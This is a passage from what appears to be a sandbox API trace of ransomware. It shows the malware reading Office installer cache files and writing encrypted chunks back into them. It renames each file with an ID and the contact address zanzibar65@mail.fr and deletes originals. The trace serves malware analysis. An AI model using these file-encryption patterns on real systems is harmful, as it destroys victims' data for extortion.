returned 4 [0048.384] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.384] lstrlenW (lpString=".1cd") returned 4 [0048.384] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.384] lstrlenW (lpString=".jpg") returned 4 [0048.384] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.384] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0048.384] lstrlenW (lpString="ose.exe") returned 7 [0048.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.385] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=174440) returned 1 [0048.385] CloseHandle (hObject=0x214) returned 1 [0048.385] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0048.385] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.385] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0048.385] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0048.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.385] GetLastError () returned 0x0 [0048.386] ReadFile (in: hFile=0x214, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x2a968, lpOverlapped=0x0) returned 1 [0048.390] WriteFile (in: hFile=0x1f0, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0048.394] ReadFile (in: hFile=0x214, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0048.394] WriteFile (in: hFile=0x1f0, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.394] SetEndOfFile (hFile=0x1f0) returned 1 [0048.394] CloseHandle (hObject=0x1f0) returned 1 [0048.394] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0048.394] SetEndOfFile (hFile=0x214) returned 1 [0048.396] CloseHandle (hObject=0x214) returned 1 [0048.396] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0048.396] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0048.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString=".doc") returned 4 [0048.397] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.397] lstrlenW (lpString=".docx") returned 5 [0048.397] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.397] lstrlenW (lpString=".pdf") returned 4 [0048.397] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString=".xls") returned 4 [0048.397] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString=".xlsx") returned 5 [0048.397] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.397] lstrlenW (lpString=".ppt") returned 4 [0048.397] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString=".zip") returned 4 [0048.397] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString=".rar") returned 4 [0048.397] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString=".bz2") returned 4 [0048.397] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.397] lstrlenW (lpString=".7z") returned 3 [0048.397] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString=".dbf") returned 4 [0048.397] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString=".1cd") returned 4 [0048.397] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.397] lstrlenW (lpString=".jpg") returned 4 [0048.397] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString=".doc") returned 4 [0048.398] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.398] lstrlenW (lpString=".docx") returned 5 [0048.398] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.398] lstrlenW (lpString=".pdf") returned 4 [0048.398] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.398] lstrlenW (lpString=".xls") returned 4 [0048.398] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.398] lstrlenW (lpString=".xlsx") returned 5 [0048.398] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.398] lstrlenW (lpString=".ppt") returned 4 [0048.398] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString=".zip") returned 4 [0048.398] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.398] lstrlenW (lpString=".rar") returned 4 [0048.398] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.398] lstrlenW (lpString=".bz2") returned 4 [0048.398] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.398] lstrlenW (lpString=".7z") returned 3 [0048.398] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString=".dbf") returned 4 [0048.398] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString=".1cd") returned 4 [0048.398] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.398] lstrlenW (lpString=".jpg") returned 4 [0048.398] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.399] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0048.399] lstrlenW (lpString="osetup.dll") returned 10 [0048.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.399] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=7378792) returned 1 [0048.399] CloseHandle (hObject=0x214) returned 1 [0048.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0048.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.401] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0048.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.402] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0048.402] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.402] ReadFile (in: hFile=0x214, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.405] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.407] ReadFile (in: hFile=0x214, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.410] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.410] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.410] ReadFile (in: hFile=0x214, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0048.663] WriteFile (in: hFile=0x214, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.675] SetEndOfFile (hFile=0x214) returned 1 [0049.802] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0049.802] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0049.802] WriteFile (in: hFile=0x214, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.804] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0049.804] WriteFile (in: hFile=0x214, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.806] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0049.806] WriteFile (in: hFile=0x214, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.807] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0049.807] CloseHandle (hObject=0x214) returned 1 [0049.874] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0049.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString=".doc") returned 4 [0049.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString=".docx") returned 5 [0049.915] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.915] lstrlenW (lpString=".pdf") returned 4 [0049.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString=".xls") returned 4 [0049.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString=".xlsx") returned 5 [0049.915] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.915] lstrlenW (lpString=".ppt") returned 4 [0049.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString=".zip") returned 4 [0049.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString=".rar") returned 4 [0049.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.915] lstrlenW (lpString=".bz2") returned 4 [0049.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.915] lstrlenW (lpString=".7z") returned 3 [0049.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString=".dbf") returned 4 [0049.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString=".1cd") returned 4 [0049.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.915] lstrlenW (lpString=".jpg") returned 4 [0049.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString=".doc") returned 4 [0049.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString=".docx") returned 5 [0049.916] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.916] lstrlenW (lpString=".pdf") returned 4 [0049.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString=".xls") returned 4 [0049.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString=".xlsx") returned 5 [0049.916] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.916] lstrlenW (lpString=".ppt") returned 4 [0049.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString=".zip") returned 4 [0049.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString=".rar") returned 4 [0049.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.916] lstrlenW (lpString=".bz2") returned 4 [0049.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.916] lstrlenW (lpString=".7z") returned 3 [0049.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString=".dbf") returned 4 [0049.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString=".1cd") returned 4 [0049.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.916] lstrlenW (lpString=".jpg") returned 4 [0049.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.917] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0049.917] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0049.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.029] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=10798080) returned 1 [0050.029] CloseHandle (hObject=0x1cc) returned 1 [0050.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0050.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.030] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.030] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0050.030] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.030] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.033] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.033] ReadFile (in: hFile=0x1cc, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.036] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.036] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.036] ReadFile (in: hFile=0x1cc, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.053] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.053] WriteFile (in: hFile=0x1cc, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0050.292] SetEndOfFile (hFile=0x1cc) returned 1 [0050.292] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0050.296] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.296] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.297] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.297] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.299] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.299] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.304] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0050.304] CloseHandle (hObject=0x1cc) returned 1 [0050.304] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.304] lstrlenW (lpString=".doc") returned 4 [0050.304] lstrcmpiW (lpString1=".doc", 